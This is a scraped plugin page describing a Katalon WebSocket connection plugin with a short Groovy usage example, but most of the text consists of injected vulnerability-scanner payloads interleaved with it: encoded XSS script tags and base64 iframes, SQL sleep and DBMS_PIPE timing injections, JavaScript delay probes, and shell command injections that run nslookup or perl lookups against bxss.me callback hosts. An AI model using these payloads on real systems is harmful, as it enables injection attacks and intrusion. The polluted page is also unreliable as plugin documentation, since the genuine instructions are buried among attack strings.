Use this Plugin to make Websocket Connection,send and receive messages.
Install
WebSocketConnect
Same Test Case to use the plugin
//Sample server String destUri = "ws://echo.websocket.org";
String msg ="This is test API request"
socket = CustomKeywords.'websocketConnection.WebSocketConnect.CreateWebSocketConnection'() CustomKeywords.'websocketConnection.WSclient.CreateClient'(destUri,socket) socket.sendMessage(msg)
// wait for socket connection to close
socket.awaitClose(5,TimeUnit.SECONDS);
System.out.printf("Message has reached me : %s%n",socket.reply);
Visit Katalon Forum for Plugin related discussions.
%35%35%35%3C%53%63%52%69%50%74%20%3E%79%53%4A%45%289755%29%3C%2F%73%43%72%69%70%54%3E
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9189'>
%35%35%35%3C%53%63%52%69%50%74%20%3E%74%32%47%45%289603%29%3C%2F%73%43%72%69%70%54%3E
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9126'>
%35%35%35%3C%53%63%52%69%50%74%20%3E%42%4D%73%43%289875%29%3C%2F%73%43%72%69%70%54%3E
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9590'>
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
'+'A'.concat(70-3).concat(22*4).concat(109).concat(79).concat(102).concat(69)+(require'socket' Socket.gethostbyname('hitac'+'voujptxf2e693.bxss.me.')[3].to_s)+'
"+"A".concat(70-3).concat(22*4).concat(102).concat(81).concat(100).concat(78)+(require"socket" Socket.gethostbyname("hitzr"+"gmdxxxdq77320.bxss.me.")[3].to_s)+"
"+(function(){if(typeof xMxokW==="undefined"){var a=new Date();do{var b=new Date();}while(b-a<10000);xMxokW=1;}}())+"
'+(function(){if(typeof xVYxoQ==="undefined"){var a=new Date();do{var b=new Date();}while(b-a<10000);xVYxoQ=1;}}())+'
+(function(){if(typeof x7KTVl==="undefined"){var a=new Date();do{var b=new Date();}while(b-a<10000);x7KTVl=1;}}())+
(function(){if(typeof xmsENn==="undefined"){var a=new Date();do{var b=new Date();}while(b-a<10000);xmsENn=1;}}())
".gethostbyname(lc("hiths"."fuhagivr4ea2d.bxss.me."))."A".chr(67).chr(hex("58")).chr(115).chr(81).chr(116).chr(80)."
'.gethostbyname(lc('hitfq'.'rpwqwrnwa94b1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(82).chr(106).chr(75).'
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
;(nslookup hithymaosbcpx7a3f1.bxss.me||perl -e "gethostbyname('hithymaosbcpx7a3f1.bxss.me')")|(nslookup hithymaosbcpx7a3f1.bxss.me||perl -e "gethostbyname('hithymaosbcpx7a3f1.bxss.me')")&(nslookup hithymaosbcpx7a3f1.bxss.me||perl -e "gethostbyname('hithymaosbcpx7a3f1.bxss.me')")
`(nslookup hitiohqbdzbdtf8186.bxss.me||perl -e "gethostbyname('hitiohqbdzbdtf8186.bxss.me')")`
|(nslookup hitjyhcxwkjaa9ef45.bxss.me||perl -e "gethostbyname('hitjyhcxwkjaa9ef45.bxss.me')")
&(nslookup hitutatspkzcp1605e.bxss.me||perl -e "gethostbyname('hitutatspkzcp1605e.bxss.me')")&'\"`0&(nslookup hitutatspkzcp1605e.bxss.me||perl -e "gethostbyname('hitutatspkzcp1605e.bxss.me')")&`'
$(nslookup hitnljeiwsmnt757ab.bxss.me||perl -e "gethostbyname('hitnljeiwsmnt757ab.bxss.me')")
(nslookup hitnukpzgkjbybe8af.bxss.me||perl -e "gethostbyname('hitnukpzgkjbybe8af.bxss.me')")
|echo egairt$()\ hutmpe\nz^xyu||a #' |echo egairt$()\ hutmpe\nz^xyu||a #|" |echo egairt$()\ hutmpe\nz^xyu||a #
&echo jsfwji$()\ fvsayg\nz^xyu||a #' &echo jsfwji$()\ fvsayg\nz^xyu||a #|" &echo jsfwji$()\ fvsayg\nz^xyu||a #
echo nrhsvh$()\ xulcix\nz^xyu||a #' &echo nrhsvh$()\ xulcix\nz^xyu||a #|" &echo nrhsvh$()\ xulcix\nz^xyu||a #
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
Code must be changed like this. import java.util.concurrent.TimeUnit import websocketConnection.WebSocketConnect String destUri = "ws://echo.websocket.org"; String msg ="This is test API request" WebSocketConnect socket = CustomKeywords.'websocketConnection.WebSocketConnect.CreateWebSocketConnection'() CustomKeywords.'websocketConnection.WSclient.CreateClient'(destUri,socket) socket.sendMessage(msg) // wait for socket connection to close socket.awaitClose(5,TimeUnit.SECONDS); System.out.printf("Message has reached me : %s%n",socket.reply); You can cross check the ws endpoint with Smart Websocket Client extension
%35%35%35%3C%53%63%52%69%50%74%20%3E%5A%30%71%55%289911%29%3C%2F%73%43%72%69%70%54%3E
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9267'>
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
"+"A".concat(70-3).concat(22*4).concat(114).concat(76).concat(119).concat(87)+(require"socket" Socket.gethostbyname("hitrm"+"qslsmoiz67a86.bxss.me.")[3].to_s)+"
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
"+(function(){if(typeof xonwf9==="undefined"){var a=new Date();do{var b=new Date();}while(b-a<10000);xonwf9=1;}}())+"
'+(function(){if(typeof xgAZdp==="undefined"){var a=new Date();do{var b=new Date();}while(b-a<10000);xgAZdp=1;}}())+'
+(function(){if(typeof xE9yMO==="undefined"){var a=new Date();do{var b=new Date();}while(b-a<10000);xE9yMO=1;}}())+
;(nslookup hitrnnaazgfrif53c9.bxss.me||perl -e "gethostbyname('hitrnnaazgfrif53c9.bxss.me')")|(nslookup hitrnnaazgfrif53c9.bxss.me||perl -e "gethostbyname('hitrnnaazgfrif53c9.bxss.me')")&(nslookup hitrnnaazgfrif53c9.bxss.me||perl -e "gethostbyname('hitrnnaazgfrif53c9.bxss.me')")
(function(){if(typeof x6zrgZ==="undefined"){var a=new Date();do{var b=new Date();}while(b-a<10000);x6zrgZ=1;}}())
".gethostbyname(lc("hitxq"."pkdqyfibc133f.bxss.me."))."A".chr(67).chr(hex("58")).chr(111).chr(86).chr(118).chr(86)."
`(nslookup hittbaferefzja1253.bxss.me||perl -e "gethostbyname('hittbaferefzja1253.bxss.me')")`
'.gethostbyname(lc('hituk'.'ntwoimpiedb6a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(78).chr(112).chr(89).'
|(nslookup hitarpstnxbxi731e8.bxss.me||perl -e "gethostbyname('hitarpstnxbxi731e8.bxss.me')")
&(nslookup hitpzevioyobdfaf77.bxss.me||perl -e "gethostbyname('hitpzevioyobdfaf77.bxss.me')")&'\"`0&(nslookup hitpzevioyobdfaf77.bxss.me||perl -e "gethostbyname('hitpzevioyobdfaf77.bxss.me')")&`'
$(nslookup hitodpusedmuafd930.bxss.me||perl -e "gethostbyname('hitodpusedmuafd930.bxss.me')")
(nslookup hitahvycaufst83b80.bxss.me||perl -e "gethostbyname('hitahvycaufst83b80.bxss.me')")
|echo fcyuhg$()\ tbflje\nz^xyu||a #' |echo fcyuhg$()\ tbflje\nz^xyu||a #|" |echo fcyuhg$()\ tbflje\nz^xyu||a #
&echo cvsgrt$()\ esdjks\nz^xyu||a #' &echo cvsgrt$()\ esdjks\nz^xyu||a #|" &echo cvsgrt$()\ esdjks\nz^xyu||a #
echo wqcigi$()\ rfdqmh\nz^xyu||a #' &echo wqcigi$()\ rfdqmh\nz^xyu||a #|" &echo wqcigi$()\ rfdqmh\nz^xyu||a #